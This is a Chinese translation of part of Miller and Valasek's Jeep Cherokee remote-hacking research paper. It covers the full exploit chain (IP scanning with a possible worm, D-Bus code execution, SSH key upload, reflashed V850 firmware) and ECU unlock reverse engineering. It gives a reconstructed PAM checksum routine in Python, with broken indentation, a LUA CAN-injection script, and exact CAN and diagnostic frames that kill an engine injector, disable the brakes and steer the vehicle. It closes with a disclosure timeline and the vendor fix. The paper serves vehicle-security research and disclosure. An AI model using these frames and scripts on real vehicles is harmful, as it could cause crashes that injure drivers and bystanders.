原文地址:http://drops.wooyun.org/papers/9976

Author: Dr. Charlie Miller ([email protected]) Chris Valasek ([email protected])

唐朝實驗室翻譯組:朱于濤 劉家志

0x01 完整的利用鏈

至此，我們已經討論了很多方面來說明如何遠程漏洞利用這輛吉普和類似的車型。目前為止，這些信息已經足夠你實現完整的漏洞利用，但是我們想要總結一下漏洞鏈是如何自始至終發揮作用的。

識別目標

你需要車輛的IP地址。你可以隨便選擇一個或寫一個蠕蟲來入侵所有的車輛。如果你知道汽車的VIN或GPS，你可以根據你所了解的車輛停留位置來掃描其IP范圍，直到發現對應的VIN或GPS。由于Sprint網絡上設備速度很慢，所以這種方法是可行的，你可能需要很多臺設備來執行并行掃描，最多可能需要幾百臺。

利用頭單元中的OMAP芯片

一旦你獲得了漏洞車輛的IP地址，你就可以使用合適的D-Bus服務執行方法來運行代碼。最簡單的就是上傳一個SSH公鑰和配置文件，然后啟動SSH服務。此時，你就可以SSH到目標車輛并從遠程終端上運行命令。

控制Uconnect系統

如果你只想控制無線電廣播、HVAC、獲取GPS信息或者其他不涉及CAN的攻擊，你只需要使用上文中提到的LUA腳本。事實上，使用D-Bus，而不需要執行代碼就可以實現大部分的功能，只是要通過使用我們提供的D-Bus服務。如果你想控制汽車的其他方面，繼續往下看...

在V850中刷入篡改過的固件

準備好一個篡改過的V850固件，按照前文中提到的要求就可以輕易地把修改后的固件刷入V850。這個過程需要自動重啟系統，可能會向驅動報警，提示有操作在進行。如果這一步你搞糟了，頭單元就會變磚，需要替換。

通過網絡執行物理操作

利用篡改過的固件，發送適當的CAN信息，從而操作車輛，這是使用SPI，通過OMAP芯片向V850芯片上修改過的固件發送信息實現的。這一過程需要用到2013年文章中類似的研究知識。

通過網絡了解汽車內部的物理構造

現在，在遠程攻擊后，我們要開始發送CAN信息。為了弄明白要發送哪些CAN信息，我們需要搞清楚吉普切諾發送的信息有哪些獨有的特性。這一過程需要不斷地嘗試和犯錯，逆向機械工具，逆向ECU固件。接下來的這一章節，我們就要完成這些工作。

機械工具

和所有的安全研究一樣，要想事半功倍，合適的工具很重要。不出意外，我們需要機械工具來處理這輛吉普車。這些機械工具可以在低層級上通過CAN與ECU交互。在這些工具中包含有攻擊者可能感興趣的安全訪問秘鑰和診斷測試功能。

不過，我們發現這些設備并不是具有軟件功能的J2534 標準直通式設備，而是wiTECH生成的專用 軟件/硬件系統，價格超過了6700.00美元（約合人民幣42513.51元，超過了Tech Authority一年1800美元的訂閱費用）。

圖-wiTECH報價

雖然，某些研究可以在不是用診斷設備的情況下進行，但是很多主動測試和ECU解鎖都需要分析這些機械工具。我們賣血賣了幾周后，最終購買到了診斷這臺吉普切諾（以及其他菲亞特-克萊斯勒車型）所需要的系統。

綜述

wiTECH工具非常易用，可能是經過了重新設計。你可以觀察汽車的各個方面，甚至是用圖形來表示這臺吉普的網絡架構，這些在我們使用wiTECH設備以前是無法發現的。

圖-WiTech軟件中顯示的2014年款吉普切諾示意圖

wiTECH與其他我們以前見過的診斷程序還有另外一項差別，wiTECH系統是用Java寫的，而不是C/C++。這樣的話，逆向工程就更容易了，因為其友好的名稱，并且能夠把字節代碼反編譯成Java源。

圖-wiTECH的重要文件

制造商預置的一項方法給反編譯造成了困難，就是使用了字符串混淆，似乎是用Allatori混淆器生成的。如下，在java代碼中搜索輸出字符串并沒有得到什么好結果，因為這些代碼都是 “加密的”，并且只能在運行時 “解密”。

圖-wiTECH的字符串混淆

我們在一開始分析一些java字節代碼時發現，最簡單的方法就是把需要的wiTECH JARs導入到一個java應用中，并使用庫中的函數來解密。下面就是我們解密的字符串和打印的結果，正好是 “flash engine is invalidated”（flash引擎失效）。

圖-Eclipse輸出的去混淆文本

安全訪問

雖然，wiTECH設備是用來收集主動測試，比如，用于啟動雨刷器的CAN信息，但是最具吸引力的還是通過分析軟件來搞明白其安全訪問算法，用于 “解鎖”一個ECU來進行再編程或其他權限操作。

再說一次，不同于我們以前研究過的任何診斷軟件，wiTECH軟件中似乎沒有包含任何實際的代碼會負責根據用于解鎖ECU的種子來生成秘鑰。最后，在‘jcanflash/Chrysler/dcx/securityunlock/’ 下的文件中，我們發現某些解鎖函數被調用了，調用取決于要重刷的ECU類型。

在靜態分析的最后，我們從中發現了一些代碼‘/ngst/com/dcx/NGST/vehicle/services/security/SecurityUnlockManagerImp.java’ ，下面的代碼就是來自這個位置：

localObject = new ScriptedSecurityAlgorithm(new
EncryptedSecurityU(((ScriptedSecurityMetaData)paramSecurityLevelMetaData
.getScript()));

不過，我們在檢查了‘EncryptedSecurityUnlock’ 之后，并沒有發現更多關于秘鑰生成算法的信息。

圖-加密安全解鎖java代碼

通過跟蹤安全解鎖使用的方法，我們找到了位于‘\jcanflash\com\dcx\NGST\jCanFlash\flashfile\odx\data\scripts\unlock’ 中的一個目錄，在這里有很多以‘.esu’ 結尾的文件（后來我們才知道.esu代表的是加密安全解鎖）。當我們在十六進制編輯器中檢查這些文件時，并沒有發現任何可讀的字符串或內容，對此我們并不驚訝。

圖-wiTECH的加密安全解鎖文件

雖然我們沒有解鎖算法，但是我們卻很清楚整個運作過程是什么樣的。wiTECH應用會請求ECU來獲取種子，在獲得種子后，應用會判斷ECU的類型，并解密解鎖文件，我們認為秘鑰的生成算法就在這個解鎖文件中。

我們再次檢查了“EncryptedSecurityUnlock”構造函數，并發現了下面的信息：

UC localUC = new UC();
SecurityUnlockFactoryImp localSecurityUnlockFactoryImp =
      new  SecurityUnlockFactoryImp();
try
{
  byte[] arrayOfByte = localUC.d(a);

傳遞到‘d’函數的字節流和上面的加密數據非常類似，我們去混淆了這個構造函數，得到了滿意的結果。你可以看到他們非常精通l33t語言，[email protected]??。

Uc.init([email protected], “MD5”, “”, “BC”, “AES”, new String[] 
{“com.chrysler.lx.UnlockCryptographerTest”, 
"com.dcx.securityunlock.encrypted.EncryptedSecurityUnlock", “”, 
“com.dcx.NGST.jCanFlash.flashfile.efd2.SecurityUnlockBuilderImpTest”});

在運行了“00A6.esu” （如上）上的解密例程后，現在我們能看到這確實是一個用于根據種子生成秘鑰的JavaScript。

圖-解密后的javascript解鎖文件

在解密了用于解鎖ECU的文件后，我們就能夠看到javascript腳本了，并可以把腳本的功能移植到Python。不出意外的話，這個算法中還涉及到了一些秘密和簡單的位元操作，因為在自動化行業中，這些技術幾乎無處不在。在下面的截圖中，是我們用來解鎖吉普切諾中各種ECU的Python代碼，但是很多其他的車型可能也應用了相同的算法。完整的代碼可以在’JeepUnlock.py’的內容數據包中找到。

圖-吉普切諾的ECU解鎖算法

應該注意，與我們之前研究的福特和豐田車不同，我們實際上不需要安全訪問秘鑰就可以執行攻擊。安全訪問算法的唯一作用就是用來重刷ECU，而我們并沒有對此進行探索。

PAM ECU逆向

通過利用機械工具，我們能夠執行主動測試，并嗅探測試結果。另外，我們還知道了安全算法和秘鑰，允許我們執行權限操作。但是，機械工具發送的信息是固定的，也沒有使用校驗和。我們檢查發現ECU之間的流量經常會使用校驗和。如果，我們想要自己制作CAN信息（不是簡單的回復現有的信息），我們需要理解這些校驗和。為此，我們必須觀察執行校驗和的代碼，而這些代碼只會出現在ECU本身中。

很多時候，通過觀察嗅探得到的CAN流量就足夠判斷車速、剎車比率和其他的情況。另外，這些CAN信息中最后的數據字節就是校驗和。例如，下面的信息就來自一款2010年的豐田普銳斯，這款車就使用了車道維持輔助系統（LKA）。

IDH: 02, IDL: E4, Len: 05, Data: 98 00 00 00 83
IDH: 02, IDL: E4, Len: 05, Data: 9A 00 00 00 85
IDH: 02, IDL: E4, Len: 05, Data: 9E 00 00 00 89

在每條信息中，最后的字節是CAN ID、數據長度和數據字節的一個整數加法校驗和（限制為1字節），通過分析幾條信息就能想到這一點。我們發現大多數信息不是縱向冗余檢查（異或校驗和）就是整數加法校驗和，但是泊車輔助模塊（PAM）使用的校驗和與我們之前看到的都不一樣。下面的信息就是2014款吉普切諾的PAM模塊發送的。

IDH: 02, IDL: 0C, Len: 04, Data: 80 00 06 7F
IDH: 02, IDL: 0C, Len: 04, Data: 80 00 08 D9
IDH: 02, IDL: 0C, Len: 04, Data: 80 00 19 09

PAM信息使用的校驗和算法不僅與我們知道的不同，而且也不同于庫普曼在論文中介紹的校驗和技術和CRC數據完整性技術。我們認為，如果我們能獲取到固件并逆向其代碼，我們就能識別出校驗和算法，這樣我們就可以制作任意的信息，讓監聽CAN總線的ECU認為信息是有效的。

很幸運，wiTECH軟件為我們提供了所有必要的信息來網購一個PAM模塊，序列號：56038998AJ；我們可以從任何銷售MOPAR部件的銷售商那里下單。

圖-2014年吉普車的泊車輔助模塊

wiTECH工具還能夠更新PAM，也提示我們固件可以從網上下載并本地儲存到計算機上來執行更新。這點很明確，在調查了運行wiTECH筆記本上的文件系統，我們找到了目錄：‘%PROGRAMDATA%\wiTECH\jserver\userData\file\flashfiles’。這個目錄下包含著固件緩存，這樣軟件就不需要在每次刷新事件時，重新下載副本。

我們還不確定哪個文件是哪個，這些文件是如何編碼的，所以在重刷兩個ECU的過程中，我們捕捉了CAN流量。再對比在文件重刷過程中的數據，我們可以推斷出其中一個文件就是泊車輔助模塊的更新。我們在文件5603899ah.efd上運行了字符串來查找 “PAM”字符串，結果表明，這個固件更新就是我們要獲取的固件。

C:\Jeep\pam>strings 56038998ah.efd | grep PAM
PAM
PAM_CUSW SU 
.\PAM_DSW\GEN\DSW09_PROJECT_gen\api\DTC_Mapping_MID_DTCID_PROJECT.h 
.\PAM_DSW\GEN\DSW09_PROJECT_gen\api\DTC_Mapping_MID_DTCID_PROJECT.h 
.\PAM_DSW\DSW_Adapter\src\DSW4BSW_PDM2NVM.c

注意：你會注意到我們還沒有聰明到能根據EFD文件的名稱，也就是2014年吉普切諾泊車輔助模塊的序列號，來推斷出路徑是不是正確的。

這個文件本身并不只是一個固件鏡像，而是包含了wiTECH軟件使用的元數據，其目的并不單一。幸運的是，我們可以通過wiTECH軟件中提供的JAR文件來實現特定的方法調用，從而發現真正的字符串偏移和固件的大小。

在導入了合適的類后，下面的調用鏈會披露真正的起始偏移和固件大小。

String user_file = "C:/Jeep/pam/56038998ah.efd"; 
UserFileImp ufi = new UserFileImp(user_file); ff.load(ufi);    

Microprocessor mps[] = ff.getMicroprocessors(); 
StandardMicroprocessor smp = (StandardMicroprocessor)mps[0];    

LogicalBlock lb = smp.getLogicalBlocks()[0];    

PhysicalBlockImp pb = (PhysicalBlockImp)lb.getPhysicalBlocks()[0];    

System.out.println("Block Len: " + pb.getBlockLength()); 
System.out.println("Block len (uncomp): " + pb.getUncompressedBlockLength()); 
System.out.println("File Offset: " + pb.getFileOffset()); 
System.out.println("Start Address: " + pb.getStartAddress());

上面的輸出代碼如下：

Block Len: 733184
Block len (uncomp): 733184
File Offset: 3363
Start Address: 8192

現在，我們已經掌握了所有需要的信息來寫一個Python腳本，提取固件并開始逆向。

還遺留下的一個主要問題是，我們仍然無法完全確定PAM模塊中使用的CPU是什么架構的。最佳的行動方案就是打開PAM模塊，通過觀察主板上的標志來判斷。如果我們能確定芯片標志，那么很可能我們就能夠判斷出使用的是哪個處理器，并在IDA Pro中開始反匯編固件。

圖-PAM PCB

雖然不容易發現，主要MCU上的標志是D70F3634，我們通過谷歌搜到這是Renesas v850芯片。很幸運，信息娛樂系統上使用的也是這個芯片，所以先前的逆向腳本，技術和工具都可以再用。

現在，我們已經從更新中提取出了固件，并知道了其架構，我們可以通過逆向這個二進制，找到用于計算校驗和的函數。在經過了一些討論后，我們認為其中的一個常量可能經過了異或，從而導致校驗和雖然有類似的有效載荷但是區別很大。快速地進行搜索后，我們發現了一個函數異或了一些值，并且似乎具有某些循環。這個函數是一個完美的逆向候選。

我們首先把反匯編語言逆向成了C語言，因為本文的作者之一就是個神經病。這時候，C函數就可以移植到Python進行測試。下面的代碼是從反匯編中得到的Python代碼。

圖-PAM校驗和算法

#!python
def calc_checksum(data, length):
    end_index = length - 1
    index = 0
    checksum = 0xFF
    temp_chk = 0;
    bit_sum = 0;
    if(end_index <= index):
        return False
    for index in range(0, end_index):
        shift = 0x80
        curr = data[index]
        iterate = 8
        while(iterate > 0):
            iterate -= 1
            bit_sum = curr & shift;
            temp_chk = checksum & 0x80
            if (bit_sum != 0):
                bit_sum = 0x1C
                if (temp_chk != 0):
bit_sum = 1
    checksum = checksum << 1
    temp_chk = checksum | 1
    bit_sum ^= temp_chk
else:
    if (temp_chk != 0):
        bit_sum = 0x1D
    checksum = checksum << 1
    bit_sum ^= checksum
        checksum = bit_sum
        shift = shift >> 1
return ~checksum & 0xFF

如果你通過“calc_checksum”函數運行從上面PAM信息獲取的3字節數據。更重要的是，我們在吉普車上看到所有包含了1字節校驗和的CAN總線都是使用了相同的函數。所以，我們獲取到的校驗和算法適用于所有感興趣的信息。這個校驗和與我們前面遇到的那個相比，更加復雜。

注意：我們還發現了另外兩個校驗和，并逆向到了C語言，但是任何我們感興趣的信息都沒有使用這兩個校驗和。這兩個算法很類似但是字節長度不同。

通過網絡來發送CAN信息

一旦你能夠通過遠程漏洞利用來發送CAN信息，那么弄清楚發送哪些信息來影響其物理系統就是小菜一碟了。先前，我們用了整年的時間來弄明白應該向福特和豐田汽車發送哪些信息，所以我們也沒有著急也在吉普車上做這樣的工作。不過，我們確實也做了少量的一些工作來證明汽車的哪些物理系統是可以通過遠程漏洞利用來控制，但是，這并不是我們研究的主要目的。

常規的CAN信息

正如在先前的研究中討論過的，這里有兩類CAN信息，常規信息和診斷信息。在常規操作時，常規信息總是會在總線中出現。診斷信息一般只會在機械測試、處理ECU時或其他非常規情況中才會出現。我們首先檢查了一些僅僅通過常規CAN信息就可以操作的物理特性。

轉向信號

轉向信號，也就是轉向燈是通過一條CAN信息控制的，這條CAN信息的ID是’04F0’，位于CAN-C網絡上。如果第一個字節是01，就是左轉向信號；如果是02，就是右轉向信號。下面的LUA腳本可以激活轉向指示器。

注意：這個腳本使用了v850的芯片的SPI通訊，所以，CAN ID會移動2個字節來滿足硬件需要。

local clock = os.clock
function sleep(n)  -- seconds
  local t0 = clock()
  while clock() - t0 <= n do end
end
ipc = require("ipc")
file = '/dev/ipc/ch7'
g = assert(ipc.open(file))
while true do
-- can3 can2 can1 can0 data0 g:write(0xf0, 0x02, 91, 0x07, 0x00, 0x00, 0xC0, 0x13, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00)  -- left turn
      sleep(.001)
end

車鎖

鎖定信號與轉向信號很類似。控制車鎖的信息ID是05CE，位于CAN IHS總線上。這個數據有兩個字節。如果第二個字節是02，就鎖車；如果是04，就開鎖。

RPMS

轉速表是通過CAN-C總線上的信息01FC控制的。在先前的兩個信息示例中只有數據。而這條信息的形式不同，在吉普車上也不常見。最后的兩個字節是一個計數器，會自增每條信息和校驗和。在前面我們已經介紹過了這個校驗和。下面是這條信息的形式：

IDH: 01, IDL: FC, Len: 08, Data: 07 47 4C C1 70 00 45 48

前兩個字節就是要顯示的RPM。在這個例子中就是0x747，也就是1863 RPM。

CAN診斷信息

診斷信息要比常規信息更強大，但是，如果車輛正在行駛，一般是超過5-10 mph， 多數ECU就會忽略診斷信息。所以，只有車輛在低速行駛時，這類攻擊才可能執行，除非攻擊者知道如何偽造一個速度來判斷是否接收診斷信息。

注意：這臺吉普車的診斷信息是29位的CAN信息。

關閉引擎

這條信息是從機械工具發送的一項測試中收集到的。你可以啟動一個診斷會話，然后調用’startRoutineByLocalIdentifier’。在這個例子中，本地標識符是15，數據是00 01。這個測試的目的是關閉一個特定的噴油嘴，我們估計是第一個噴油嘴。

發送的信息必須要像下面的形式一樣。首先，啟動一個診斷會話。再提一下，只有在低速時，這種攻擊才能成功。

EID: 18DA10F1, Len: 08, Data: 02 10 92 00 00 00 00 00

然后調用例程：

EID: 18DA10F1, Len: 08, Data: 04 31 15 00 01 00 00 00

剎車

這輛吉普切諾與福特翼虎有著相同的 “功能”，也就是當創建了一個診斷會話時，汽車在行駛過程中就會把剎車踩到底。這樣導致的結果就是剎車失靈，造成安全問題，即使這種情況只會發生在低速行駛過程中。

首先，我們需要使用ABS ECU啟動一個診斷會話

EID: 18DA28F1, Len: 08, Data: 02 10 03 00 00 00 00 00

然后，我們猛踩剎車（把所有的剎車踩到底）。這只是一條信息（InputOutput ），但是需要多個CAN信息，因為數據太長了，無法放到一個單獨的CAN框架中。

EID: 18DA28F1, Len: 08, Data: 10 11 2F 5A BF 03 64 64
EID: 18DA28F1, Len: 08, Data: 64 64 64 64 64 64 64 64
EID: 18DA28F1, Len: 08, Data: 64 64 64 00 00 00 00 00

轉向

轉向（作為泊車協助的一部分）和防碰撞剎車只能由常規的CAN信息操作。但是，不同于我們以前觀察到的車輛，僅僅使用CAN信息注入就更難控制了。例如，在豐田普銳斯上，要想剎車，你只需要向網絡發送海量的信息，讓高速防碰撞系統來啟動剎車。當然，真正的防碰撞系統會說不要踩剎車，因為沒有必要。豐田的ABS ECU會發現注入信息和真正的信息之間存在沖突，并會根據信息的出現頻率來做出行動。所以，讓車輛剎車并不難。

在吉普車上，這類功能卻不是這樣。我們已經確定了防碰撞系統會使用哪些信息來控制剎車。但是，當我們發送了這個信息時，ECU接收到了我們發出的信息來應用剎車，也接收到了真正的信息說不要剎車，這時吉普上的ABS ECU就會完全關閉防碰撞系統。但是，吉普上這個ECU在設計上就會查找這類異常，并且不會響應。這樣，我們在豐田普銳斯上執行的很多操作在吉普上都無法實現。話雖如此，但是還是可以通過偽造信息來控制車輛的關鍵安全方面。我們并沒有在這個方向上投入太多的努力，因為研究重點是遠程漏洞利用。

作為我們就此的一個研究案例，我們會離線發送真正信息的ECU。然后，接收信息的ECU就只能看到我們的信息，所以也就不會出現沖突了。弊端是我們必須要利用診斷信息來離線真正的ECU。這就意味著，即使真正的操作只會涉及到常規的CAN信息，我們也只能在低速時執行這種攻擊，因為我們首先需要使用診斷信息。

我們會以轉向為例來證明這一點。在轉向時，如果泊車輔助系統接收到了沖突信息，系統就會離線（實際上，方方向盤可能會有輕微的移動，尤其是當車輛在停止前行時，但是為了獲取全面的控制，你必須要遵守這個過程）。泊車輔助模塊（PAM）是發送真正信息的ECU。所以，我們要讓PAM進入診斷會話，防止PAM發送常規信息。然后，我們發送信息讓汽車轉向。

首先我們要啟動一個涉及PAM的診斷會話：

EID: 18DAA0F1, Len: 08, Data: 02 10 02 00 00 00 00 00

然后，我們發送CAN信息，告訴動力轉向ECU來轉向。這些信息應該與下面的類似：

IDH: 02, IDL: 0C, Len: 04, Data: 90 32 28 1F

這里的前兩個字節是應用到轉向輪的扭矩。80 00 是沒有扭矩。更大的數字，比如C0 000是逆時針轉向，而較小的數字，比如 40 00 是順時針方轉動。第三個字節的第一個半字節用于指示是否啟用自動停車 (0 = no，2 = yes)。這個字節的第二個半字節是一個計數器。最后一個字節是校驗和。

0x02 問題和修復

問題披露

我們在此披露了一些在菲亞特-克萊斯勒汽車(FCA) 中發現的問題。時間如下：

1. 2014年10月：我們發現D-Bus服務暴露了，并且存在漏洞。
2. 2015年3月：我們發現可以再編FCA汽車的V850芯片，從OMAP芯片中發送任意的CAN信息。此時，我們已經通知了他們這些問題，并計劃在2015年8月的黑帽大會和DEFCON大會上提出這些發現。
3. 2015年4月：我們發現不僅僅是Wi-Fi，還可以通過蜂窩網絡來訪問D-Bus。
4. 2015年7月：我們提前將此次研究的副本提供給了FCA，哈曼卡頓，NHTSA和QNX。
5. 2015年7月16日：克萊斯勒公布了解決問題的修復辦法。
6. 2015年7月21日：發布了有線文章。
7. 2015年7月24日：Sprint蜂窩網絡攔截了端口6667上的流量。克萊斯勒自主召回了140萬臺車輛。

修復和應對辦法

克萊斯勒已經在版本15.26.1中修復了這一問題。我們還沒有深入地研究這個修復方案，但是最終結果表明現在汽車已經不會再接收輸入的TCP/IP數據包。這是在修復前的nmap掃描結果（版本14.25.5）

啟動Nmap 6.01( http://nmap.org ) 的時間：2015-07-26 11:23 CDT

安裝了修復后的nmap掃描結果：

啟動Namp 6.01( http://nmap.org ) 的時間：2015-07-26 11:42 CDT

另外，Sprint網絡也至少攔截了端口6667上的流量，甚至是來自同一個信號塔的流量。所以，攻擊一臺存在漏洞，未修復的汽車只能通過Wi-Fi來實現，如果可行的話，通過飛蜂窩連接。這兩種攻擊方法都需要靠近目標車輛。

0x03 總結

這篇文章是我們三年以來在汽車安全研究方面的最高成果。在文章中，我們證明了，大量的菲亞特-克萊斯勒汽車都可以被遠程攻擊。存在漏洞的車輛成千上萬，致使FCA不得不召回了140萬臺汽車，并且修改了Sprint的運營商網絡。這種遠程攻擊可以針對在美國任何地方的車輛，并且不需要攻擊者或駕駛員改裝車輛的任何地方或物理交互。由于遠程攻擊的影響，一些物理系統，比如轉向和剎車會受到影響。我們提供此次研究的目的就是希望我們在將來能生產更安全的汽車，這樣我們才能在開車時保證自己的安全，避免遭受網絡攻擊。制造商、供應商和安全研究人員可以利用這些信息，繼續深入地調查吉普切諾和其他的車型，共同致力于車輛安全。